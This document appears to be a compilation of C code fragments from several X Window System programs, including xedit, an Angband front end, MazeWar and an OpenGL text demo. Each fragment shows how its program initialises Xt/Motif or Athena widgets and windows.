XtCloseDisplay(XtDisplay(main_window));exit(-1);}} i=0; strcpy(tempfileold,"slicetempyhsT"); strcpy(tempfilenew,"slicetempyhsT"); addcharac[1]='\0'; strcat(tempfilenew,addcharac); system("echo First copy of MultiSliceRTP started at :- >slicetempyhsTN"); system("date >>slicetempyhsTN"); for(i=0;i<11;i++){yhs_filename[i]=0;squash[i]=0;squash[i+10]=0;} i=0; fprintf(stderr,"\n\n-------------------MultiSlice RTP Status Messages-------------------\n"); fprintf(stderr,"Launching application..."); system("date"); fprintf(stderr,"Load and select file(s) to process...\n"); /* Create the main menu */ create_main_menu(main_window); /* Create the drawing area 1 */ argcount = 0; XtSetArg(args[argcount], XmNwidth , IMAGE_WIDTH); argcount++; XtSetArg(args[argcount], XmNheight, IMAGE_HEIGHT); argcount++; draw_1 = XmCreateDrawingArea(top_level, "draw_1", args, argcount); /* XtManageChild(draw_1); */ /* Create the drawing area 2 */ argcount = 0; XtSetArg(args[argcount], XmNwidth , IMAGE_WIDTH); argcount++; XtSetArg(args[argcount], XmNheight, IMAGE_HEIGHT); argcount++; draw_2 = XmCreateDrawingArea(top_level, "draw_2", args, argcount); /* XtManageChild(draw_2); */ /* Create a watch cursor */ theCursor = XCreateFontCursor(XtDisplay(main_window), XC_watch); /* Create the icon window for the application */ app_icon = XCreateBitmapFromData(XtDisplay(top_level), DefaultRootWindow(XtDisplay(top_level)), icon_bits, icon_width, icon_height); argcount = 0; XtSetArg(args[argcount], XmNiconPixmap, app_icon); argcount++; XtSetValues(top_level, args, argcount); XtAppAddTimeOut(app,2*1000,update_time,NULL); /* Realize all widgets */ XtRealizeWidget(top_level); /* Make some initializations */ setup_display (top_level); create_region_list(®ion_list); /* Event handling loop--keep processing events until done */ XtAppMainLoop(app); }
XPutImage(dpy, XtWindow(tv), grab_gc, grab_ximage, 0, 0, 0, 0,\ xsize, ysize); XFlush(dpy); } }/* end function putimage */ int openwin(int argc, char *argv[], int xsize, int ysize) { static Window root; XVisualInfo *info, template; int found; app_shell =\ XtAppInitialize(\ &app_context,"mcamip by Panteltje (c)", NULL, 0, &argc, argv, NULL, NULL, 0); XtMakeResizeRequest(app_shell, xsize, ysize, NULL, NULL); dpy = XtDisplay(app_shell); root = DefaultRootWindow(dpy); template.screen = XDefaultScreen(dpy); template.visualid =\ XVisualIDFromVisual(DefaultVisualOfScreen(DefaultScreenOfDisplay(dpy))); info =\ XGetVisualInfo(dpy, VisualIDMask | VisualScreenMask, &template,&found); if (!info)
main(int argc, char **argv) { Widget shell, rowcolumn, scale, pushbutton, label1, label2, text; Widget paned, text2; int n, i; Widget widlist[100]; Widget emacscli[100]; Arg args[100]; int no_ews = 1; char buf[100]; if (argc > 1) no_ews = atoi(argv[1]); shell = XtAppInitialize(&xt_app_con, "Testmotif", NULL, 0, &argc, argv, NULL, NULL, 0); rowcolumn = XmCreateRowColumn(shell, "rowcolumn", NULL, 0); XtManageChild(rowcolumn); n = 0; XtSetArg(args[n], XmNtraversalOn, TRUE); n++; #if 0 label1 = XmCreateLabel(rowcolumn, "label1", args, n); #endif label1 = XtVaCreateWidget("label1", xmLabelWidgetClass, rowcolumn, XmNwidth, 50, XmNheight, 30, XmNtraversalOn, TRUE, NULL); label2 = XmCreateLabel(rowcolumn, "label2", NULL, 0); scale = XmCreateScale(rowcolumn, "scale", NULL, 0); XtAddCallback(scale, XmNvalueChangedCallback, ScaleValueChangedCB, label1); paned = XmCreatePanedWindow(rowcolumn, "paned", NULL, 0); n = 0; widlist[n++] = label1; widlist[n++] = label2; widlist[n++] = scale; widlist[n++] = paned; XtManageChildren(widlist, n); pushbutton = XmCreatePushButton(paned, "pushbutton", NULL, 0); text = XmCreateText(paned, "text", NULL, 0); for (i = 0; i < no_ews; i++) { int sz = snprintf(buf, sizeof(buf), "extcli%d", i); assert(sz>=0 && sz < sizeof(buf)); emacscli[i] = XtVaCreateWidget(buf, externalClientWidgetClass, paned, XmNwidth, 500, XmNheight, 200, XmNtraversalOn, TRUE, NULL); } text2 = XmCreateText(paned, "text2", NULL, 0); n = 0; widlist[n++] = pushbutton; widlist[n++] = text; for (i = 0; i < no_ews; i++) widlist[n++] = emacscli[i]; widlist[n++] = text2; XtManageChildren(widlist, n); XtRealizeWidget(shell); { XmString lab; char labarr[1000]; char tmpbuf[50]; strcpy(labarr, "window:"); for (i = 0; i < no_ews; i++) { int sz = snprintf(tmpbuf, sizeof(tmpbuf), " %d", XtWindow(emacscli[i])); assert(sz>=0 && sz<sizeof(tmpbuf)); strcat(labarr, tmpbuf); } lab = XmStringCreateLocalized(labarr); XtVaSetValues(label2, XmNlabelString, lab, NULL); XmStringFree(lab); } XtAppMainLoop(xt_app_con); }
int main(int argc, char *argv[]) { Boolean exists; char *filename; FileAccess file_access; Widget source; XtAppContext appcon; Boolean show_dir; xedit_flist_item *first_item; unsigned int i, lineno; lineno = 0; show_dir = FALSE; first_item = NULL; topwindow = XtAppInitialize(&appcon, "Xedit", NULL, 0, &argc, argv, NULL, NULL, 0); XtAppAddActions(appcon, actions, XtNumber(actions)); XtOverrideTranslations(topwindow, XtParseTranslationTable("<Message>WM_PROTOCOLS: quit()")); XtGetApplicationResources(topwindow, (XtPointer) &app_resources, resources, XtNumber(resources), NULL, 0); CurDpy = XtDisplay(topwindow); XawSimpleMenuAddGlobalActions(appcon); XtRegisterGrabAction(PopupMenu, True, ButtonPressMask | ButtonReleaseMask, GrabModeAsync, GrabModeAsync); makeButtonsAndBoxes(topwindow); StartHints(); StartFormatPosition(); (void)StartHooks(appcon); if (position_format_mask == 0) { for (i = 0; i < 3; i++) XtRemoveCallback(texts[i], XtNpositionCallback, PositionChanged, NULL); } XtRealizeWidget(topwindow); #ifndef __UNIXOS2__ XeditLispInitialize(); #endif options_popup = XtCreatePopupShell("optionsMenu", simpleMenuWidgetClass, topwindow, NULL, 0); XtRealizeWidget(options_popup); XtAddCallback(XtCreateManagedWidget("ispell", smeBSBObjectClass, options_popup, NULL, 0), XtNcallback, IspellCallback, NULL); CreateEditPopup(); wm_delete_window = XInternAtom(XtDisplay(topwindow), "WM_DELETE_WINDOW", False); (void)XSetWMProtocols(XtDisplay(topwindow), XtWindow(topwindow), &wm_delete_window, 1); /* This first call is just to save the default font and colors */ UpdateTextProperties(0); if (argc > 1) { xedit_flist_item *item; Arg args[2]; unsigned int num_args; for (i = 1; i < argc; i++) { struct stat st; if (argv[i][0] == '+') { char *endptr; lineno = strtol(argv[i], &endptr, 10); /* Don't warn about incorrect input? */ if (*endptr) lineno = 0; continue; } filename = ResolveName(argv[i]); if (filename == NULL || FindTextSource(NULL, filename) != NULL) continue; num_args = 0; if (stat(filename, &st) == 0 && !S_ISREG(st.st_mode)) { if (S_ISDIR(st.st_mode)) { if (!first_item) { char path[BUFSIZ + 1]; strncpy(path, filename, sizeof(path) - 2); path[sizeof(path) - 2] = '\0'; if (*path) { if (path[strlen(path) - 1] != '/') strcat(path, "/"); } else strcpy(path, "./"); XtSetArg(args[0], XtNlabel, ""); XtSetValues(dirlabel, args, 1); SwitchDirWindow(True); DirWindowCB(dirwindow, path, NULL); show_dir = True; } continue; } } switch (file_access = CheckFilePermissions(filename, &exists)) { case NO_READ: if (exists) XeditPrintf("File %s exists, and could not be opened for " "reading.\n", argv[i]); else XeditPrintf("File %s does not exist, and the directory " "could not be opened for writing.\n", argv[i]); break; case READ_OK: XtSetArg(args[num_args], XtNeditType, XawtextRead); num_args++; XeditPrintf("File %s opened READ ONLY.\n", argv[i]); break; case WRITE_OK: XtSetArg(args[num_args], XtNeditType, XawtextEdit); num_args++; XeditPrintf("File %s opened read - write.\n", argv[i]); break; } if (file_access != NO_READ) { int flags; if (exists) { flags = EXISTS_BIT; XtSetArg(args[num_args], XtNstring, filename);num_args++; } else { flags = 0; XtSetArg(args[num_args], XtNstring, NULL); num_args++; } source = XtVaCreateWidget("textSource", international ? multiSrcObjectClass : asciiSrcObjectClass, topwindow, XtNtype, XawAsciiFile, XtNeditType, XawtextEdit, NULL, NULL); XtSetValues(source, args, num_args); item = AddTextSource(source, argv[i], filename, flags, file_access); XtAddCallback(item->source, XtNcallback, SourceChanged, (XtPointer)item); if (exists && file_access == WRITE_OK) { item->mode = st.st_mode & (S_IRWXU | S_IRWXG | S_IRWXO); item->mtime = st.st_mtime; } if (!first_item && !show_dir) first_item = item; ResetSourceChanged(item); } } } if (!flist.pixmap && strlen(app_resources.changed_pixmap_name)) { XrmValue from, to; from.size = strlen(app_resources.changed_pixmap_name); from.addr = app_resources.changed_pixmap_name; to.size = sizeof(Pixmap); to.addr = (XtPointer)&(flist.pixmap); XtConvertAndStore(flist.popup, XtRString, &from, XtRBitmap, &to); } if (first_item == NULL) { XtSetKeyboardFocus(topwindow, filenamewindow); XtVaSetValues(textwindow, XtNwrap, XawtextWrapLine, NULL); } else { SwitchTextSource(first_item); XtSetKeyboardFocus(topwindow, textwindow); if (lineno) { XawTextPosition position; source = XawTextGetSource(textwindow); position = RSCAN(XawTextGetInsertionPoint(textwindow), lineno, False); position = LSCAN(position, 1, False); XawTextSetInsertionPoint(textwindow, position); } } XtAppMainLoop(appcon); return EXIT_SUCCESS; }
int main (int argc, char* argv[]) { XtAppContext app_context; Widget toplevel, rc, t1, t2, t3, t4, t5; Arg options[15] ; int ac ; unsigned char txt[5] = { 0xf0, 0xA7, 0x61, 0x57, '\0' } ; toplevel = XtAppInitialize (&app_context, "Exemple1", NULL, 0, &argc, argv, fallback, NULL, 0) ; fontB = XLoadQueryFont (XtDisplay(toplevel), font1) ; fe = XmFontListEntryCreate ("tagFontB", XmFONT_IS_FONT, fontB) ; fl = XmFontListAppendEntry (NULL,fe) ; /* Form */ rc = XmCreateRowColumn(toplevel, "rc", NULL, 0); XtManageChild(rc); /* Text with font set at creation */ ac = 0 ; XtSetArg (options[ac], XmNfontList, fl); ac++ ; t1 = XmCreateText (rc, "text1", options, ac) ; XtManageChild (t1) ; XmTextSetString(t1,(char*)txt) ; /* Text with font set with setvalues */ t2 = XmCreateText (rc, "text2", NULL, 0); XtManageChild (t2) ; fontB = XLoadQueryFont (XtDisplay(toplevel), font2); fe = XmFontListEntryCreate ("tagFontB", XmFONT_IS_FONT, fontB); fl = XmFontListAppendEntry (NULL,fe); ac = 0; XtSetArg (options[ac], XmNfontList, fl); ac++ ; XtSetValues(t2, options, ac); XmTextSetString(t2 ,(char*)txt) ; /* Text with font set with setvalues, except the font doesn't exist */ t3 = XmCreateText (rc, "text3", NULL, 0); XtManageChild (t3) ; fontB = XLoadQueryFont (XtDisplay(toplevel), font3); fe = XmFontListEntryCreate ("tagFontB", XmFONT_IS_FONT, fontB); fl = XmFontListAppendEntry (NULL,fe); ac = 0; XtSetArg (options[ac], XmNfontList, fl); ac++ ; XtSetValues(t3, options, ac); XmTextSetString(t3 ,(char*)txt) ; /* Even stranger things .. */ t4 = XmCreateText (rc, "text4", NULL, 0); XtManageChild (t4) ; fontB = XLoadQueryFont (XtDisplay(toplevel), font4); fe = XmFontListEntryCreate ("tagFontB", XmFONT_IS_FONT, fontB); fl = XmFontListAppendEntry (NULL,fe); ac = 0; XtSetArg (options[ac], XmNfontList, fl); ac++ ; XtSetValues(t4, options, ac); XmTextSetString(t4 ,(char*)txt) ; t5 = XmCreateText (rc, "text5", NULL, 0); XtManageChild (t5) ; XmTextSetString(t5 ,(char*)txt) ; XtAddCallback(t5, XmNhelpCallback, doit, "text widget"); XtAddCallback(rc, XmNhelpCallback, doit, "global"); /* Do it */ XtRealizeWidget (toplevel) ; { static XtWidgetGeometry Expected[] = { CWWidth | CWHeight , 56, 72, 324, 199, 0,0,0, /* rc */ CWWidth | CWHeight | CWX | CWY, 3, 3, 318, 38, 0,0,0, /* text1 */ CWWidth | CWHeight | CWX | CWY, 3, 44, 318, 50, 0,0,0, /* text2 */ CWWidth | CWHeight | CWX | CWY, 3, 97, 318, 31, 0,0,0, /* text3 */ CWWidth | CWHeight | CWX | CWY, 3, 131, 318, 31, 0,0,0, /* text4 */ CWWidth | CWHeight | CWX | CWY, 3, 165, 318, 31, 0,0,0, /* text5 */ }; PrintDetails(toplevel,Expected); }; LessTifTestMainLoop(toplevel); return (0); }
void main(int argc, char *argv[]) { int i; #ifdef IRIX_5_1_MOTIF_BUG_WORKAROUND /* * XXX Unfortunately a bug in the IRIX 5.1 Motif shared library * causes a BadMatch X protocol error if the SGI look&feel * is enabled for this program. If we detect we are on an * IRIX 5.1 system, skip the first two fallback resources which * specify using the SGI look&feel. */ struct utsname versionInfo; if(uname(&versionInfo) >= 0) { if(!strcmp(versionInfo.sysname, "IRIX") && !strncmp(versionInfo.release, "5.1", 3)) { toplevel = XtAppInitialize(&app, "Textfun", NULL, 0, &argc, argv, &fallbackResources[2], NULL, 0); } } if(toplevel == NULL) { toplevel = XtAppInitialize(&app, "Textfun", NULL, 0, &argc, argv, fallbackResources, NULL, 0); } #else toplevel = XtAppInitialize(&app, "Textfun", NULL, 0, &argc, argv, fallbackResources, NULL, 0); #endif dpy = XtDisplay(toplevel); /* find an OpenGL-capable RGB visual with depth buffer */ vi = glXChooseVisual(dpy, DefaultScreen(dpy), dblBuf); if (vi == NULL) { vi = glXChooseVisual(dpy, DefaultScreen(dpy), snglBuf); if (vi == NULL) XtAppError(app, "no RGB visual with depth buffer"); doubleBuffer = GL_FALSE; } for (i = 0; i < NUM_FONT_ENTRIES; i++) { fontEntry[i].xfont = XLoadQueryFont(dpy, fontEntry[i].xlfd); if (i == 0 && !fontEntry[i].xfont) XtAppError(app, "could not get basic font"); } fontEntry[0].fontinfo = SuckGlyphsFromServer(dpy, fontEntry[0].xfont->fid); if (!fontEntry[0].fontinfo) XtAppError(app, "could not get font glyphs"); /* create an OpenGL rendering context */ cx = glXCreateContext(dpy, vi, /* no display list sharing */ None, /* favor direct */ GL_TRUE); if (cx == NULL) XtAppError(app, "could not create rendering context"); /* create an X colormap since probably not using default visual */ cmap = XCreateColormap(dpy, RootWindow(dpy, vi->screen), vi->visual, AllocNone); XtVaSetValues(toplevel, XtNvisual, vi->visual, XtNdepth, vi->depth, XtNcolormap, cmap, NULL); XtAddEventHandler(toplevel, StructureNotifyMask, False, map_state_changed, NULL); mainw = XmCreateMainWindow(toplevel, "mainw", NULL, 0); XtManageChild(mainw); /* create menu bar */ menubar = XmCreateMenuBar(mainw, "menubar", NULL, 0); XtManageChild(menubar); /* hack around Xt's ignorance of visuals */ XtSetArg(menuPaneArgs[0], XmNdepth, DefaultDepthOfScreen(XtScreen(mainw))); XtSetArg(menuPaneArgs[1], XmNcolormap, DefaultColormapOfScreen(XtScreen(mainw))); /* create File pulldown menu: Quit */ menupane = XmCreatePulldownMenu(menubar, "menupane", menuPaneArgs, 2); btn = XmCreatePushButton(menupane, "Quit", NULL, 0); XtAddCallback(btn, XmNactivateCallback, quit, NULL); XtManageChild(btn); XtSetArg(args[0], XmNsubMenuId, menupane); cascade = XmCreateCascadeButton(menubar, "File", args, 1); XtManageChild(cascade); /* create Options pulldown menu: Motion, Dolly, Rotate, Wobble */ menupane = XmCreatePulldownMenu(menubar, "menupane", menuPaneArgs, 2); btn = XmCreateToggleButton(menupane, "Motion", NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc) toggle, NULL); XtManageChild(btn); btn = XmCreateToggleButton(menupane, "Dolly", NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc) dolly, NULL); XtVaSetValues(btn, XmNset, True, NULL); XtManageChild(btn); btn = XmCreateToggleButton(menupane, "Rotate", NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc) rotate, NULL); XtManageChild(btn); btn = XmCreateToggleButton(menupane, "Wobble", NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc) wobble, NULL); XtManageChild(btn); XtSetArg(args[0], XmNsubMenuId, menupane); cascade = XmCreateCascadeButton(menubar, "Options", args, 1); XtManageChild(cascade); XtSetArg(menuPaneArgs[2], XmNradioBehavior, True); XtSetArg(menuPaneArgs[3], XmNradioAlwaysOne, True); menupane = XmCreatePulldownMenu(menubar, "menupane", menuPaneArgs, 4); XtAddCallback(menupane, XmNentryCallback, (XtCallbackProc) fontSelect, NULL); for (i = 0; i < NUM_FONT_ENTRIES; i++) { btn = XmCreateToggleButton(menupane, fontEntry[i].name, NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc) neverCalled, &fontEntry[i]); if (i == 0) XtVaSetValues(btn, XmNset, True, NULL); if (!fontEntry[i].xfont) XtSetSensitive(btn, False); XtManageChild(btn); } XtSetArg(args[0], XmNsubMenuId, menupane); cascade = XmCreateCascadeButton(menubar, "Font", args, 1); XtManageChild(cascade); /* create framed drawing area for OpenGL rendering */ frame = XmCreateFrame(mainw, "frame", NULL, 0); XtManageChild(frame); glxarea = XtCreateManagedWidget("glxarea", xmDrawingAreaWidgetClass, frame, NULL, 0); XtAddCallback(glxarea, XmNexposeCallback, (XtCallbackProc) draw, NULL); XtAddCallback(glxarea, XmNresizeCallback, resize, NULL); XtAddCallback(glxarea, XmNinputCallback, input, NULL); /* set up application's window layout */ XmMainWindowSetAreas(mainw, menubar, NULL, NULL, NULL, frame); XtRealizeWidget(toplevel); /* * Once widget is realized (ie, associated with a created X window), we * can bind the OpenGL rendering context to the window. */ glXMakeCurrent(dpy, XtWindow(glxarea), cx); made_current = GL_TRUE; /* setup OpenGL state */ glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LEQUAL); glClearDepth(1.0); glMatrixMode(GL_PROJECTION); glFrustum(-1.0, 1.0, -1.0, 1.0, 1.0, 80); glMatrixMode(GL_MODELVIEW); MakeCube(); if (argv[1] != NULL) { numMessages = argc - 1; messages = &argv[1]; } else { numMessages = NUM_DEFAULT_MESSAGES; messages = defaultMessage; } base = glGenLists(numMessages + 1); SetupMessageDisplayList(&fontEntry[0], numMessages, messages); tick(); /* start event processing */ XtAppMainLoop(app); }
/* * Initialization function for an X Athena Widget module to Angband * * We should accept "-d<dpy>" requests in the "argv" array. XXX XXX XXX */ errr init_xaw(int argc, char **argv) { int i; Widget topLevel; Display *dpy; cptr dpy_name = ""; #ifdef USE_GRAPHICS cptr bitmap_file = ""; char filename[1024]; int pict_wid = 0; int pict_hgt = 0; char *TmpData; #endif /* USE_GRAPHICS */ /* Parse args */ for (i = 1; i < argc; i++) { if (prefix(argv[i], "-d")) { dpy_name = &argv[i][2]; continue; } #ifdef USE_GRAPHICS if (prefix(argv[i], "-s")) { smoothRescaling = FALSE; continue; } if (prefix(argv[i], "-o")) { arg_graphics = GRAPHICS_ORIGINAL; continue; } if (prefix(argv[i], "-a")) { arg_graphics = GRAPHICS_ADAM_BOLT; continue; } if (prefix(argv[i], "-g")) { smoothRescaling = FALSE; arg_graphics = GRAPHICS_DAVID_GERVAIS; continue; } if (prefix(argv[i], "-b")) { use_bigtile = TRUE; continue; } #endif /* USE_GRAPHICS */ if (prefix(argv[i], "-n")) { num_term = atoi(&argv[i][2]); if (num_term > MAX_TERM_DATA) num_term = MAX_TERM_DATA; else if (num_term < 1) num_term = 1; continue; } plog_fmt("Ignoring option: %s", argv[i]); } /* Attempt to open the local display */ dpy = XOpenDisplay(dpy_name); /* Failure -- assume no X11 available */ if (!dpy) return (-1); /* Close the local display */ XCloseDisplay(dpy); #ifdef USE_XAW_LANG /* Support locale processing */ XtSetLanguageProc(NULL, NULL, NULL); #endif /* USE_XAW_LANG */ /* Initialize the toolkit */ topLevel = XtAppInitialize(&appcon, "Angband", NULL, 0, &argc, argv, fallback, NULL, 0); /* Initialize the windows */ for (i = 0; i < num_term; i++) { term_data *td = &data[i]; term_data_init(td, topLevel, 1024, termNames[i], (i == 0) ? specialArgs : defaultArgs, TERM_FALLBACKS, i); angband_term[i] = Term; } /* Activate the "Angband" window screen */ Term_activate(&data[0].t); /* Raise the "Angband" window */ term_raise(&data[0]); #ifdef USE_GRAPHICS /* Try graphics */ switch (arg_graphics) { case GRAPHICS_ADAM_BOLT: /* Use tile graphics of Adam Bolt */ bitmap_file = "16x16.bmp"; /* Try the "16x16.bmp" file */ path_build(filename, sizeof(filename), ANGBAND_DIR_XTRA, format("graf/%s", bitmap_file)); /* Use the "16x16.bmp" file if it exists */ if (0 == fd_close(fd_open(filename, O_RDONLY))) { /* Use graphics */ use_graphics = GRAPHICS_ADAM_BOLT; use_transparency = TRUE; pict_wid = pict_hgt = 16; ANGBAND_GRAF = "new"; break; } /* Fall through */ case GRAPHICS_ORIGINAL: /* Use original tile graphics */ bitmap_file = "8x8.bmp"; /* Try the "8x8.bmp" file */ path_build(filename, sizeof(filename), ANGBAND_DIR_XTRA, format("graf/%s", bitmap_file)); /* Use the "8x8.bmp" file if it exists */ if (0 == fd_close(fd_open(filename, O_RDONLY))) { /* Use graphics */ use_graphics = GRAPHICS_ORIGINAL; pict_wid = pict_hgt = 8; ANGBAND_GRAF = "old"; break; } break; case GRAPHICS_DAVID_GERVAIS: /* Use tile graphics of David Gervais */ bitmap_file = "32x32.bmp"; /* Use graphics */ use_graphics = GRAPHICS_DAVID_GERVAIS; use_transparency = TRUE; pict_wid = pict_hgt = 32; ANGBAND_GRAF = "david"; break; } /* Load graphics */ if (use_graphics) { /* Hack -- Get the Display */ term_data *td = &data[0]; Widget widget = (Widget)(td->widget); Display *dpy = XtDisplay(widget); XImage *tiles_raw; for (i = 0; i < num_term; i++) { term_data *td = &data[i]; td->widget->angband.tiles = NULL; } path_build(filename, sizeof(filename), ANGBAND_DIR_XTRA, format("graf/%s", bitmap_file)); /* Load the graphical tiles */ tiles_raw = ReadBMP(dpy, filename); if (tiles_raw) { /* Initialize the windows */ for (i = 0; i < num_term; i++) { int j; bool same = FALSE; term_data *td = &data[i]; term_data *o_td = NULL; term *t = &td->t; t->pict_hook = Term_pict_xaw; t->higher_pict = TRUE; /* Look for another term with same font size */ for (j = 0; j < i; j++) { o_td = &data[j]; if ((td->widget->angband.tilewidth == o_td->widget->angband.tilewidth) && (td->widget->angband.fontheight == o_td->widget->angband.fontheight)) { same = TRUE; break; } } if (!same) { /* Resize tiles */ td->widget->angband.tiles = ResizeImage(dpy, tiles_raw, pict_wid, pict_hgt, td->widget->angband.tilewidth, td->widget->angband.fontheight); } else { /* Use same graphics */ td->widget->angband.tiles = o_td->widget->angband.tiles; } } /* Free tiles_raw */ FREE(tiles_raw); } /* Initialize the transparency temp storage */ for (i = 0; i < num_term; i++) { term_data *td = &data[i]; int ii, jj; int depth = DefaultDepth(dpy, DefaultScreen(dpy)); Visual *visual = DefaultVisual(dpy, DefaultScreen(dpy)); int total; /* Determine total bytes needed for image */ ii = 1; jj = (depth - 1) >> 2; while (jj >>= 1) ii <<= 1; total = td->widget->angband.tilewidth * td->widget->angband.fontheight * ii; TmpData = (char *)malloc(total); td->widget->angband.TmpImage = XCreateImage(dpy, visual,depth, ZPixmap, 0, TmpData, td->widget->angband.tilewidth, td->widget->angband.fontheight, 8, 0); } } #endif /* USE_GRAPHICS */ /* Success */ return (0); }
void InitWindow(int argc, char **argv) { XGCValues gc_values; XWMHints wmhints; Widget w; XClassHint classHint; GC iconGC; progName = (char *)rindex(argv[0], '/'); if (progName) progName++; else progName = argv[0]; /* * We cheat here by using the Toolkit to do the initialization work. * We just ignore the top-level widget that gets created. */ w = XtAppInitialize(&app_con, progName, opTable, XtNumber(opTable), &argc, argv, default_resources, NULL, ZERO); if ((argc > 1) && (strcmp("-robot", argv[1]) == 0)) { argc--; app_resources.robotic = TRUE; } else {app_resources.robotic = FALSE;} printf("set robot. "); dpy = XtDisplay(w); screen = DefaultScreen(dpy); printf("set Xscreen. "); XtGetApplicationResources(w, (caddr_t) &app_resources, resources, XtNumber(resources), NULL, (Cardinal) 0); printf("set XResource. "); if (!app_resources.scoreFont) MWError("cannot open font"); scoreFontInfo = XQueryFont(dpy, app_resources.scoreFont); printf("set XQueue. "); cur_width = MIN_X_DIM; cur_height = MIN_Y_DIM + (MAX_RATS+1) * (scoreFontInfo->max_bounds.ascent + scoreFontInfo->max_bounds.descent); mwWindow = XCreateSimpleWindow(dpy, RootWindow(dpy, screen), 0, 0, cur_width, cur_height, app_resources.borderWidth, 0, app_resources.bg_pixel); XStoreName(dpy, mwWindow, "MazeWar"); XSetIconName(dpy, mwWindow, "MazeWar"); classHint.res_name = "cs244Bmazewar"; classHint.res_class = "cs244Bmazewar"; XSetClassHint(dpy, mwWindow, &classHint); gc_values.function = GXcopy; gc_values.foreground = app_resources.fg_pixel; gc_values.background = app_resources.bg_pixel; gc_values.font = app_resources.scoreFont; gc_values.line_width = 0; copyGC = XCreateGC(dpy, mwWindow, GCFunction | GCForeground | GCBackground | GCLineWidth | GCFont, &gc_values); gc_values.function = GXxor; gc_values.plane_mask = AllPlanes; gc_values.foreground = app_resources.fg_pixel ^ app_resources.bg_pixel; gc_values.background = 0; xorGC = XCreateGC(dpy, mwWindow, GCFunction | GCForeground | GCBackground | GCPlaneMask, &gc_values); icon_pixmap = XCreatePixmapFromBitmapData( dpy, mwWindow, (char *)icon_bits, icon_width, icon_height, app_resources.fg_pixel, app_resources.bg_pixel, XDefaultDepth(dpy, screen)); /* is this even used? */ gc_values.function = GXclear; gc_values.plane_mask = AllPlanes; iconGC = XCreateGC(dpy, mwWindow, GCFunction | GCPlaneMask, &gc_values); iconmask_pixmap = XCreatePixmap(dpy, mwWindow, icon_width, icon_height, XDefaultDepth(dpy, screen)); XFillRectangle(dpy, iconmask_pixmap, iconGC, 0, 0, icon_width, icon_height); icon_reverse_pixmap = XCreatePixmapFromBitmapData(dpy, mwWindow, (char *)icon_bits, icon_width, icon_height, app_resources.bg_pixel, app_resources.fg_pixel, XDefaultDepth(dpy, screen)); wmhints.input = TRUE; wmhints.flags = IconPixmapHint | IconMaskHint | InputHint; wmhints.icon_pixmap = icon_pixmap; wmhints.icon_mask = iconmask_pixmap; XSetWMHints(dpy, mwWindow, &wmhints); initCursors(); arrowImage = XCreateImage(dpy, DefaultVisual(dpy, DefaultScreen(dpy)), 1, XYBitmap, 0, NULL, 16, 16, 8, 2); arrowImage->byte_order = MSBFirst; arrowImage->bitmap_bit_order = MSBFirst; }
/* * Initialization function for an X Athena Widget module to Angband * * We should accept "-d<dpy>" requests in the "argv" array. XXX XXX XXX */ errr init_xaw(int argc, char *argv[]) { int i; Widget topLevel; Display *dpy; cptr dpy_name = ""; #ifdef USE_GRAPHICS char filename[1024]; int pict_wid = 0; int pict_hgt = 0; #ifdef USE_TRANSPARENCY char *TmpData; #endif /* USE_TRANSPARENCY */ #endif /* USE_GRAPHICS */ /* Parse args */ for (i = 1; i < argc; i++) { if (prefix(argv[i], "-d")) { dpy_name = &argv[i][2]; continue; } #ifdef USE_GRAPHICS if (prefix(argv[i], "-s")) { smoothRescaling = FALSE; continue; } #endif /* USE_GRAPHICS */ if (prefix(argv[i], "-n")) { num_term = atoi(&argv[i][2]); if (num_term > MAX_TERM_DATA) num_term = MAX_TERM_DATA; else if (num_term < 1) num_term = 1; continue; } plog_fmt("Ignoring option: %s", argv[i]); } /* Attempt to open the local display */ dpy = XOpenDisplay(dpy_name); /* Failure -- assume no X11 available */ if (!dpy) return (-1); /* Close the local display */ XCloseDisplay(dpy); #ifdef USE_XAW_LANG /* Support locale processing */ XtSetLanguageProc(NULL, NULL, NULL); #endif /* USE_XAW_LANG */ /* Initialize the toolkit */ topLevel = XtAppInitialize(&appcon, "Angband", NULL, 0, &argc, argv, fallback, NULL, 0); /* Initialize the windows */ for (i = 0; i < num_term; i++) { term_data *td = &data[i]; term_data_init(td, topLevel, 1024, termNames[i], (i == 0) ? specialArgs : defaultArgs, TERM_FALLBACKS, i); angband_term[i] = Term; } /* Activate the "Angband" window screen */ Term_activate(&data[0].t); /* Raise the "Angband" window */ term_raise(&data[0]); #ifdef USE_GRAPHICS /* Try graphics */ if (arg_graphics) { /* Try the "16x16.bmp" file */ path_build(filename, 1024, ANGBAND_DIR_XTRA, "graf/16x16.bmp"); /* Use the "16x16.bmp" file if it exists */ if (0 == fd_close(fd_open(filename, O_RDONLY))) { /* Use graphics */ use_graphics = TRUE; use_transparency = TRUE; pict_wid = pict_hgt = 16; ANGBAND_GRAF = "new"; } else { /* Try the "8x8.bmp" file */ path_build(filename, 1024, ANGBAND_DIR_XTRA, "graf/8x8.bmp"); /* Use the "8x8.bmp" file if it exists */ if (0 == fd_close(fd_open(filename, O_RDONLY))) { /* Use graphics */ use_graphics = TRUE; pict_wid = pict_hgt = 8; ANGBAND_GRAF = "old"; } } } /* Load graphics */ if (use_graphics) { /* Hack -- Get the Display */ term_data *td = &data[0]; Widget widget = (Widget)(td->widget); Display *dpy = XtDisplay(widget); XImage *tiles_raw; /* Load the graphical tiles */ tiles_raw = ReadBMP(dpy, filename); /* Initialize the windows */ for (i = 0; i < num_term; i++) { term_data *td = &data[i]; term *t = &td->t; t->pict_hook = Term_pict_xaw; t->higher_pict = TRUE; /* Resize tiles */ td->widget->angband.tiles = ResizeImage(dpy, tiles_raw, pict_wid, pict_hgt, td->widget->angband.fontwidth, td->widget->angband.fontheight); } #ifdef USE_TRANSPARENCY /* Initialize the transparency temp storage*/ for (i = 0; i < num_term; i++) { term_data *td = &data[i]; int ii, jj; int depth = DefaultDepth(dpy, DefaultScreen(dpy)); Visual *visual = DefaultVisual(dpy, DefaultScreen(dpy)); int total; /* Determine total bytes needed for image */ ii = 1; jj = (depth - 1) >> 2; while (jj >>= 1) ii <<= 1; total = td->widget->angband.fontwidth * td->widget->angband.fontheight * ii; TmpData = (char *)malloc(total); td->widget->angband.TmpImage = XCreateImage(dpy, visual,depth, ZPixmap, 0, TmpData, td->widget->angband.fontwidth, td->widget->angband.fontheight, 8, 0); } #endif /* 